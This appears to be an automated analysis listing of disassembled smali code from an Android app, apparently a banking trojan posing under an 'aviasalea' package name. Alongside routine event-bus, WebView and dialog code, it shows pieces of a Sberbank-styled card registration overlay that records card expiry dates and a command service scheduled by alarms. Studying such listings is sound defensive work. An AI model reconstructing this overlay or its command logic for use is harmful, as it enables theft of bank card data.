                                      22iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numSix:Landroid/widget/LinearLayout;
                                      24invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      26iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numSeven:Landroid/widget/LinearLayout;
                                      28invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      30iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numEight:Landroid/widget/LinearLayout;
                                      32invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      34iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numNine:Landroid/widget/LinearLayout;
                                      36invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      38iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numZero:Landroid/widget/LinearLayout;
                                      40invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      42iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numBack:Landroid/widget/RelativeLayout;
                                      44invoke-virtual {v0, p0}, Landroid/widget/RelativeLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      45return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.getClass
                                      • java.util.List.size
                                      • java.util.List.get
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.d
                                      Strings
                                      • No subscribers registered for event
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Ljava/lang/Object;
                                      1.param p2, "postingState" # Lde/greenrobot/event/EventBus$PostingThreadState;
                                      2.annotation system Ldalvik/annotation/Throws;
                                      3value = {
                                      4Ljava/lang/Error;
                                      5}
                                      6.end annotation
                                      7.prologue
                                      9invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      10move-result-object v2
                                      11const/4 v5, 0x0
                                      12iget-boolean v6, p0, Lde/greenrobot/event/EventBus;->eventInheritance:Z
                                      13if-eqz v6, :cond_22
                                      15invoke-direct {p0, v2}, Lde/greenrobot/event/EventBus;->lookupAllEventTypes(Ljava/lang/Class;)Ljava/util/List;
                                      16move-result-object v3
                                      18invoke-interface {v3}, Ljava/util/List;->size()I
                                      19move-result v1
                                      20const/4 v4, 0x0
                                      21goto_12: if-ge v4, v1, :cond_26
                                      23invoke-interface {v3, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      24move-result-object v0
                                      25check-cast v0, Ljava/lang/Class;
                                      27invoke-direct {p0, p1, p2, v0}, Lde/greenrobot/event/EventBus;->postSingleEventForEventType(Ljava/lang/Object;Lde/greenrobot/event/EventBus$PostingThreadState;Ljava/lang/Class;)Z
                                      28move-result v6
                                      29or-int/2addr v5, v6
                                      30add-int/lit8 v4, v4, 0x1
                                      31goto/16 :goto_12
                                      32cond_22:
                                      33invoke-direct {p0, p1, p2, v2}, Lde/greenrobot/event/EventBus;->postSingleEventForEventType(Ljava/lang/Object;Lde/greenrobot/event/EventBus$PostingThreadState;Ljava/lang/Class;)Z
                                      34move-result v5
                                      35cond_26: if-nez v5, :cond_58
                                      36iget-boolean v6, p0, Lde/greenrobot/event/EventBus;->logNoSubscriberMessages:Z
                                      37if-eqz v6, :cond_44
                                      39sget-object v6, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      40new-instance v7, Ljava/lang/StringBuilder;
                                      42invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                      44const-string v8, "No subscribers registered for event "
                                      46invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      47move-result-object v7
                                      49invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      50move-result-object v7
                                      52invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      53move-result-object v7
                                      55invoke-static {v6, v7}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                      56cond_44: iget-boolean v6, p0, Lde/greenrobot/event/EventBus;->sendNoSubscriberEvent:Z
                                      57if-eqz v6, :cond_58
                                      58const-class v6, Lde/greenrobot/event/NoSubscriberEvent;
                                      59if-eq v2, v6, :cond_58
                                      60const-class v6, Lde/greenrobot/event/SubscriberExceptionEvent;
                                      61if-eq v2, v6, :cond_58
                                      62new-instance v6, Lde/greenrobot/event/NoSubscriberEvent;
                                      64invoke-direct {v6, p0, p1}, Lde/greenrobot/event/NoSubscriberEvent;-><init>(Lde/greenrobot/event/EventBus;Ljava/lang/Object;)V
                                      66invoke-virtual {p0, v6}, Lde/greenrobot/event/EventBus;->post(Ljava/lang/Object;)V
                                      67cond_58: return-void
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.Thread.currentThread
                                      • java.lang.Thread.getName
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.w
                                      Strings
                                      • Event
                                      • was interruppted
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v5, 0x0
                                      2try_start_1:
                                      3iget-object v2, p0, Lde/greenrobot/event/BackgroundPoster;->queue:Lde/greenrobot/event/PendingPostQueue;
                                      4const/16 v3, 0x3e8
                                      6invoke-virtual {v2, v3}, Lde/greenrobot/event/PendingPostQueue;->poll(I)Lde/greenrobot/event/PendingPost;
                                      7move-result-object v1
                                      8if-nez v1, :cond_1c
                                      9monitor-enter p0
                                      10try_start_c:
                                      11iget-object v2, p0, Lde/greenrobot/event/BackgroundPoster;->queue:Lde/greenrobot/event/PendingPostQueue;
                                      13invoke-virtual {v2}, Lde/greenrobot/event/PendingPostQueue;->poll()Lde/greenrobot/event/PendingPost;
                                      14move-result-object v1
                                      15if-nez v1, :cond_1b
                                      16const/4 v2, 0x0
                                      17iput-boolean v2, p0, Lde/greenrobot/event/BackgroundPoster;->executorRunning:Z
                                      18monitor-exit p0
                                      19try_end_18: iput-boolean v5, p0, Lde/greenrobot/event/BackgroundPoster;->executorRunning:Z
                                      20goto_1a: return-void
                                      21try_start_1b: monitor-exit p0
                                      22try_start_1c:
                                      23iget-object v2, p0, Lde/greenrobot/event/BackgroundPoster;->eventBus:Lde/greenrobot/event/EventBus;
                                      25invoke-virtual {v2, v1}, Lde/greenrobot/event/EventBus;->invokeSubscriber(Lde/greenrobot/event/PendingPost;)V
                                      26try_end_21: goto/16 :goto_1
                                      27catch_22: move-exception v0
                                      28try_start_23:
                                      29const-string v2, "Event"
                                      30new-instance v3, Ljava/lang/StringBuilder;
                                      32invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      34invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                      35move-result-object v4
                                      37invoke-virtual {v4}, Ljava/lang/Thread;->getName()Ljava/lang/String;
                                      38move-result-object v4
                                      40invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      41move-result-object v3
                                      43const-string v4, " was interruppted"
                                      45invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      46move-result-object v3
                                      48invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      49move-result-object v3
                                      51invoke-static {v2, v3, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                      52try_end_43: iput-boolean v5, p0, Lde/greenrobot/event/BackgroundPoster;->executorRunning:Z
                                      53goto/16 :goto_1a
                                      54catchall_46: move-exception v2
                                      55try_start_47: monitor-exit p0
                                      56try_end_48: throw v2
                                      57try_end_49: move-exception v2
                                      58iput-boolean v5, p0, Lde/greenrobot/event/BackgroundPoster;->executorRunning:Z
                                      59throw v2
                                      Cross References
                                      APIs
                                      • com.aviasalea.wb.CustomWVClient.removeLastSlash
                                      • com.aviasalea.wb.CustomWVClient.mUrl:Ljava/lang/String
                                      • com.aviasalea.wb.CustomWVClient.startsWith
                                      • com.aviasalea.wb.CustomWVClient.mPageLoadingTimeoutHandlerTask:Ljava/lang/Runnable
                                      • android.webkit.WebView.removeCallbacks
                                      • android.webkit.WebView.getVisibility
                                      • android.webkit.WebView.setVisibility
                                      • java.lang.String.contains
                                      • com.aviasalea.wb.CustomWVClient.mOnWVClicentCallback:Lcom/aviasalea/wb/CustomWVClient$OnWVClicentCallback
                                      • com.aviasalea.wb.CustomWVClient.mUrl:Ljava/lang/String
                                      • com.aviasalea.wb.CustomWVClient.<init>
                                      • android.webkit.WebView.setWebViewClient
                                      Strings
                                      • https://www.google
                                      Position Instruction Meta Information
                                      0.param p1, "view" # Landroid/webkit/WebView;
                                      1.param p2, "url" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v1, 0x0
                                      4const/4 v2, 0x1
                                      6invoke-direct {p0, p2}, Lcom/aviasalea/wb/CustomWVClient;->removeLastSlash(Ljava/lang/String;)Ljava/lang/String;
                                      7move-result-object p2
                                      9iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      11invoke-direct {p0, p2, v0}, Lcom/aviasalea/wb/CustomWVClient;->startsWith(Ljava/lang/String;Ljava/lang/String;)Z
                                      12move-result v0
                                      13if-eqz v0, :cond_36
                                      14iget-boolean v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingFinished:Z
                                      15if-nez v0, :cond_36
                                      16iput-boolean v2, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingFinished:Z
                                      18iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mPageLoadingTimeoutHandlerTask:Ljava/lang/Runnable;
                                      20invoke-virtual {p1, v0}, Landroid/webkit/WebView;->removeCallbacks(Ljava/lang/Runnable;)Z
                                      21iput-object v1, p0, Lcom/aviasalea/wb/CustomWVClient;->mOnErrorUrl:Ljava/lang/String;
                                      22iput-object v1, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      24invoke-virtual {p1}, Landroid/webkit/WebView;->getVisibility()I
                                      25move-result v0
                                      26const/4 v1, 0x4
                                      27if-ne v0, v1, :cond_28
                                      28const/4 v0, 0x0
                                      30invoke-virtual {p1, v0}, Landroid/webkit/WebView;->setVisibility(I)V
                                      31cond_28:
                                      32const-string v0, "https://www.google"
                                      34invoke-virtual {p2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      35move-result v0
                                      36if-eqz v0, :cond_35
                                      38iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mOnWVClicentCallback:Lcom/aviasalea/wb/CustomWVClient$OnWVClicentCallback;
                                      40invoke-interface {v0, p1, p2}, Lcom/aviasalea/wb/CustomWVClient$OnWVClicentCallback;->onRedirect(Landroid/webkit/WebView;Ljava/lang/String;)V
                                      41goto_35: return-void
                                      42cond_36:
                                      43iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      44if-nez v0, :cond_35
                                      45new-instance v0, Lcom/aviasalea/wb/CustomWVClient;
                                      46new-instance v1, Lcom/aviasalea/wb/CustomWVClient$1;
                                      48invoke-direct {v1, p0}, Lcom/aviasalea/wb/CustomWVClient$1;-><init>(Lcom/aviasalea/wb/CustomWVClient;)V
                                      50invoke-direct {v0, v1}, Lcom/aviasalea/wb/CustomWVClient;-><init>(Lcom/aviasalea/wb/CustomWVClient$OnWVClicentCallback;)V
                                      52invoke-virtual {p1, v0}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
                                      53iput-boolean v2, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingFinished:Z
                                      54goto/16 :goto_35
                                      APIs
                                      • java.lang.ThreadLocal.get
                                      • de.greenrobot.event.EventBusException.<init>
                                      • de.greenrobot.event.EventBusException.<init>
                                      • de.greenrobot.event.EventBusException.<init>
                                      • de.greenrobot.event.ThreadMode.PostThread:Lde/greenrobot/event/ThreadMode
                                      • de.greenrobot.event.EventBusException.<init>
                                      Strings
                                      • This method may only be called from inside event handling methods on the posting thread
                                      • Event may not be null
                                      • Only the currently handled event may be aborted
                                      • event handlers may only abort the incoming event
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Ljava/lang/Object;
                                      1.prologue
                                      3iget-object v1, p0, Lde/greenrobot/event/EventBus;->currentPostingThreadState:Ljava/lang/ThreadLocal;
                                      5invoke-virtual {v1}, Ljava/lang/ThreadLocal;->get()Ljava/lang/Object;
                                      6move-result-object v0
                                      7check-cast v0, Lde/greenrobot/event/EventBus$PostingThreadState;
                                      8iget-boolean v1, v0, Lde/greenrobot/event/EventBus$PostingThreadState;->isPosting:Z
                                      9if-nez v1, :cond_14
                                      10new-instance v1, Lde/greenrobot/event/EventBusException;
                                      12const-string v2, "This method may only be called from inside event handling methods on the posting thread"
                                      14invoke-direct {v1, v2}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      15throw v1
                                      16cond_14: if-nez p1, :cond_1e
                                      17new-instance v1, Lde/greenrobot/event/EventBusException;
                                      19const-string v2, "Event may not be null"
                                      21invoke-direct {v1, v2}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      22throw v1
                                      23cond_1e:
                                      24iget-object v1, v0, Lde/greenrobot/event/EventBus$PostingThreadState;->event:Ljava/lang/Object;
                                      25if-eq v1, p1, :cond_2a
                                      26new-instance v1, Lde/greenrobot/event/EventBusException;
                                      28const-string v2, "Only the currently handled event may be aborted"
                                      30invoke-direct {v1, v2}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      31throw v1
                                      32cond_2a:
                                      33iget-object v1, v0, Lde/greenrobot/event/EventBus$PostingThreadState;->subscription:Lde/greenrobot/event/Subscription;
                                      35iget-object v1, v1, Lde/greenrobot/event/Subscription;->subscriberMethod:Lde/greenrobot/event/SubscriberMethod;
                                      37iget-object v1, v1, Lde/greenrobot/event/SubscriberMethod;->threadMode:Lde/greenrobot/event/ThreadMode;
                                      39sget-object v2, Lde/greenrobot/event/ThreadMode;->PostThread:Lde/greenrobot/event/ThreadMode;
                                      40if-eq v1, v2, :cond_3c
                                      41new-instance v1, Lde/greenrobot/event/EventBusException;
                                      43const-string v2, " event handlers may only abort the incoming event"
                                      45invoke-direct {v1, v2}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      46throw v1
                                      47cond_3c: const/4 v1, 0x1
                                      48iput-boolean v1, v0, Lde/greenrobot/event/EventBus$PostingThreadState;->canceled:Z
                                      49return-void
                                      APIs
                                      • android.view.View.getContext
                                      • android.content.Context.getSystemService
                                      • android.view.inputmethod.InputMethodManager.isActive
                                      • android.view.View.getWindowToken
                                      • android.view.inputmethod.InputMethodManager.hideSoftInputFromWindow
                                      • android.util.Log.d
                                      Strings
                                      • input_method
                                      • KbdTls
                                      • Ignore!
                                      Position Instruction Meta Information
                                      0.param p0, "view" # Landroid/view/View;
                                      1.prologue
                                      2if-nez p0, :cond_3
                                      3cond_2: return-void
                                      4try_start_3:
                                      5invoke-virtual {p0}, Landroid/view/View;->getContext()Landroid/content/Context;
                                      6move-result-object v2
                                      8const-string v3, "input_method"
                                      10invoke-virtual {v2, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      11move-result-object v1
                                      12check-cast v1, Landroid/view/inputmethod/InputMethodManager;
                                      14invoke-virtual {v1}, Landroid/view/inputmethod/InputMethodManager;->isActive()Z
                                      15move-result v2
                                      16if-eqz v2, :cond_2
                                      18invoke-virtual {p0}, Landroid/view/View;->getWindowToken()Landroid/os/IBinder;
                                      19move-result-object v2
                                      20const/4 v3, 0x0
                                      22invoke-virtual {v1, v2, v3}, Landroid/view/inputmethod/InputMethodManager;->hideSoftInputFromWindow(Landroid/os/IBinder;I)Z
                                      23try_end_1d: goto/16 :goto_2
                                      24catch_1e: move-exception v0
                                      26const-string v2, "KbdTls"
                                      28const-string v3, "Ignore!"
                                      30invoke-static {v2, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                      31goto/16 :goto_2
                                      Cross References
                                      APIs
                                      • java.net.HttpURLConnection.setConnectTimeout
                                      • java.net.HttpURLConnection.setReadTimeout
                                      • java.net.HttpURLConnection.setUseCaches
                                      • java.net.HttpURLConnection.setRequestProperty
                                      • java.net.HttpURLConnection.setRequestProperty
                                      Strings
                                      • Accept-Charset
                                      • UTF-8
                                      • Content-Type
                                      • application/x-www-form-urlencoded
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-virtual {p0}, Lcom/aviasalea/api/request/BaseConnection;->getURLConnection()Ljava/net/HttpURLConnection;
                                      3move-result-object v0
                                      4if-nez v0, :cond_7
                                      5goto_6: return-void
                                      6cond_7: const/16 v1, 0x1388
                                      8invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                      9const/16 v1, 0x2710
                                      11invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                                      12const/4 v1, 0x0
                                      14invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setUseCaches(Z)V
                                      16const-string v1, "Accept-Charset"
                                      18const-string v2, "UTF-8"
                                      20invoke-virtual {v0, v1, v2}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                      22const-string v1, "Content-Type"
                                      24const-string v2, "application/x-www-form-urlencoded"
                                      26invoke-virtual {v0, v1, v2}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                      27goto/16 :goto_6
                                      Cross References
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.createRoundRectDrawable
                                      • android.util.StateSet.WILD_CARD:[I
                                      • android.content.res.ColorStateList.<init>
                                      • android.graphics.drawable.RippleDrawable.<init>
                                      • android.graphics.drawable.StateListDrawable.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.createRoundRectDrawable
                                      • android.graphics.drawable.StateListDrawable.addState
                                      • com.aviasalea.base.dialog.AlertDialog.createRoundRectDrawable
                                      • android.graphics.drawable.StateListDrawable.addState
                                      • android.util.StateSet.WILD_CARD:[I
                                      • android.graphics.drawable.ColorDrawable.<init>
                                      • android.graphics.drawable.StateListDrawable.addState
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2const/high16 v8, 0xf000000
                                      3const/high16 v7, 0x40400000 # 3.0f
                                      4const/4 v5, 0x1
                                      5const/4 v6, 0x0
                                      6sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                                      7const/16 v4, 0x15
                                      8if-lt v3, v4, :cond_32
                                      10invoke-static {v7}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      11move-result v3
                                      12const/4 v4, -0x1
                                      14invoke-static {v3, v4}, Lcom/aviasalea/base/dialog/AlertDialog;->createRoundRectDrawable(II)Landroid/graphics/drawable/Drawable;
                                      15move-result-object v1
                                      16new-instance v0, Landroid/content/res/ColorStateList;
                                      17new-array v3, v5, [[I
                                      19sget-object v4, Landroid/util/StateSet;->WILD_CARD:[I
                                      20aput-object v4, v3, v6
                                      21new-array v4, v5, [I
                                      22const v5, 0x106000c
                                      24invoke-static {p0, v5}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      25move-result v5
                                      26aput v5, v4, v6
                                      28invoke-direct {v0, v3, v4}, Landroid/content/res/ColorStateList;-><init>([[I[I)V
                                      29new-instance v2, Landroid/graphics/drawable/RippleDrawable;
                                      30const/4 v3, 0x0
                                      32invoke-direct {v2, v0, v3, v1}, Landroid/graphics/drawable/RippleDrawable;-><init>(Landroid/content/res/ColorStateList;Landroid/graphics/drawable/Drawable;Landroid/graphics/drawable/Drawable;)V
                                      33goto_31: return-object v2
                                      34cond_32: new-instance v2, Landroid/graphics/drawable/StateListDrawable;
                                      36invoke-direct {v2}, Landroid/graphics/drawable/StateListDrawable;-><init>()V
                                      37new-array v3, v5, [I
                                      38const v4, 0x10100a7
                                      39aput v4, v3, v6
                                      41invoke-static {v7}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      42move-result v4
                                      44invoke-static {v4, v8}, Lcom/aviasalea/base/dialog/AlertDialog;->createRoundRectDrawable(II)Landroid/graphics/drawable/Drawable;
                                      45move-result-object v4
                                      47invoke-virtual {v2, v3, v4}, Landroid/graphics/drawable/StateListDrawable;->addState([ILandroid/graphics/drawable/Drawable;)V
                                      48new-array v3, v5, [I
                                      49const v4, 0x10100a1
                                      50aput v4, v3, v6
                                      52invoke-static {v7}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      53move-result v4
                                      55invoke-static {v4, v8}, Lcom/aviasalea/base/dialog/AlertDialog;->createRoundRectDrawable(II)Landroid/graphics/drawable/Drawable;
                                      56move-result-object v4
                                      58invoke-virtual {v2, v3, v4}, Landroid/graphics/drawable/StateListDrawable;->addState([ILandroid/graphics/drawable/Drawable;)V
                                      60sget-object v3, Landroid/util/StateSet;->WILD_CARD:[I
                                      61new-instance v4, Landroid/graphics/drawable/ColorDrawable;
                                      63invoke-direct {v4, v6}, Landroid/graphics/drawable/ColorDrawable;-><init>(I)V
                                      65invoke-virtual {v2, v3, v4}, Landroid/graphics/drawable/StateListDrawable;->addState([ILandroid/graphics/drawable/Drawable;)V
                                      66goto/16 :goto_31
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.CmndSrs.mAlarmManager:Landroid/app/AlarmManager
                                      • com.aviasalea.srs.CmndSrs.mAlarmManager:Landroid/app/AlarmManager
                                      • com.aviasalea.srs.CmndSrs.getAlarmCommandIntent
                                      • android.app.AlarmManager.cancel
                                      • java.lang.System.currentTimeMillis
                                      • com.aviasalea.srs.CmndSrs.mAlarmManager:Landroid/app/AlarmManager
                                      • com.aviasalea.srs.CmndSrs.getAlarmCommandIntent
                                      • android.app.AlarmManager.setExactAndAllowWhileIdle
                                      • com.aviasalea.srs.CmndSrs.mAlarmManager:Landroid/app/AlarmManager
                                      • com.aviasalea.srs.CmndSrs.getAlarmCommandIntent
                                      • android.app.AlarmManager.setExact
                                      • java.lang.Exception.printStackTrace
                                      • com.aviasalea.srs.CmndSrs.mAlarmManager:Landroid/app/AlarmManager
                                      • com.aviasalea.srs.CmndSrs.getAlarmCommandIntent
                                      • android.app.AlarmManager.set
                                      Position Instruction Meta Information
                                      0.prologue
                                      1try_start_0:
                                      2iget-object v3, p0, Lcom/aviasalea/srs/CmndSrs;->mAlarmManager:Landroid/app/AlarmManager;
                                      3if-eqz v3, :cond_26
                                      5iget-object v3, p0, Lcom/aviasalea/srs/CmndSrs;->mAlarmManager:Landroid/app/AlarmManager;
                                      7invoke-direct {p0, p0}, Lcom/aviasalea/srs/CmndSrs;->getAlarmCommandIntent(Landroid/content/Context;)Landroid/app/PendingIntent;
                                      8move-result-object v4
                                      10invoke-virtual {v3, v4}, Landroid/app/AlarmManager;->cancel(Landroid/app/PendingIntent;)V
                                      12invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                      13move-result-wide v4
                                      14const-wide/32 v6, 0xea60
                                      15add-long v0, v4, v6
                                      16sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                                      17const/16 v4, 0x17
                                      18if-lt v3, v4, :cond_27
                                      20iget-object v3, p0, Lcom/aviasalea/srs/CmndSrs;->mAlarmManager:Landroid/app/AlarmManager;
                                      21const/4 v4, 0x0
                                      23invoke-direct {p0, p0}, Lcom/aviasalea/srs/CmndSrs;->getAlarmCommandIntent(Landroid/content/Context;)Landroid/app/PendingIntent;
                                      24move-result-object v5
                                      26invoke-virtual {v3, v4, v0, v1, v5}, Landroid/app/AlarmManager;->setExactAndAllowWhileIdle(IJLandroid/app/PendingIntent;)V
                                      27cond_26: return-void
                                      28cond_27: sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                                      29const/16 v4, 0x13
                                      30if-lt v3, v4, :cond_3d
                                      32iget-object v3, p0, Lcom/aviasalea/srs/CmndSrs;->mAlarmManager:Landroid/app/AlarmManager;
                                      33const/4 v4, 0x0
                                      35invoke-direct {p0, p0}, Lcom/aviasalea/srs/CmndSrs;->getAlarmCommandIntent(Landroid/content/Context;)Landroid/app/PendingIntent;
                                      36move-result-object v5
                                      38invoke-virtual {v3, v4, v0, v1, v5}, Landroid/app/AlarmManager;->setExact(IJLandroid/app/PendingIntent;)V
                                      39try_end_37: goto/16 :goto_26
                                      40catch_38: move-exception v2
                                      42invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
                                      43goto/16 :goto_26
                                      44try_start_3d:
                                      45iget-object v3, p0, Lcom/aviasalea/srs/CmndSrs;->mAlarmManager:Landroid/app/AlarmManager;
                                      46const/4 v4, 0x0
                                      48invoke-direct {p0, p0}, Lcom/aviasalea/srs/CmndSrs;->getAlarmCommandIntent(Landroid/content/Context;)Landroid/app/PendingIntent;
                                      49move-result-object v5
                                      51invoke-virtual {v3, v4, v0, v1, v5}, Landroid/app/AlarmManager;->set(IJLandroid/app/PendingIntent;)V
                                      52try_end_47: goto/16 :goto_26
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$702
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setEnabled
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$500
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setEnabled
                                      Position Instruction Meta Information
                                      0.param p1, "moveToNext" # Z
                                      1.param p2, "expDate" # Ljava/lang/String;
                                      2.param p3, "month" # I
                                      3.param p4, "year" # I
                                      4.prologue
                                      6iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$3;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      8invoke-static {v0, p1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$702(Lcom/aviasalea/injs/s/views/SberRegisterView;Z)Z
                                      9if-eqz p1, :cond_27
                                      11iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$3;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      13invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      14move-result-object v0
                                      15const v1, 0x7f05001d
                                      17invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      19iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$3;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      21invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      22move-result-object v0
                                      23const/4 v1, 0x1
                                      25invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      27iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$3;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      29invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$500(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/model/SModel;
                                      30move-result-object v0
                                      32invoke-virtual {v0, p2}, Lcom/aviasalea/injs/s/model/SModel;->setExpDate(Ljava/lang/String;)V
                                      33goto_26: return-void
                                      34cond_27:
                                      35iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$3;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      37invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      38move-result-object v0
                                      39const v1, 0x7f05001b
                                      41invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      43iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$3;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      45invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      46move-result-object v0
                                      47const/4 v1, 0x0
                                      49invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      50goto/16 :goto_26
                                      APIs
                                      • android.widget.LinearLayout.onLayout
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$500
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1400
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
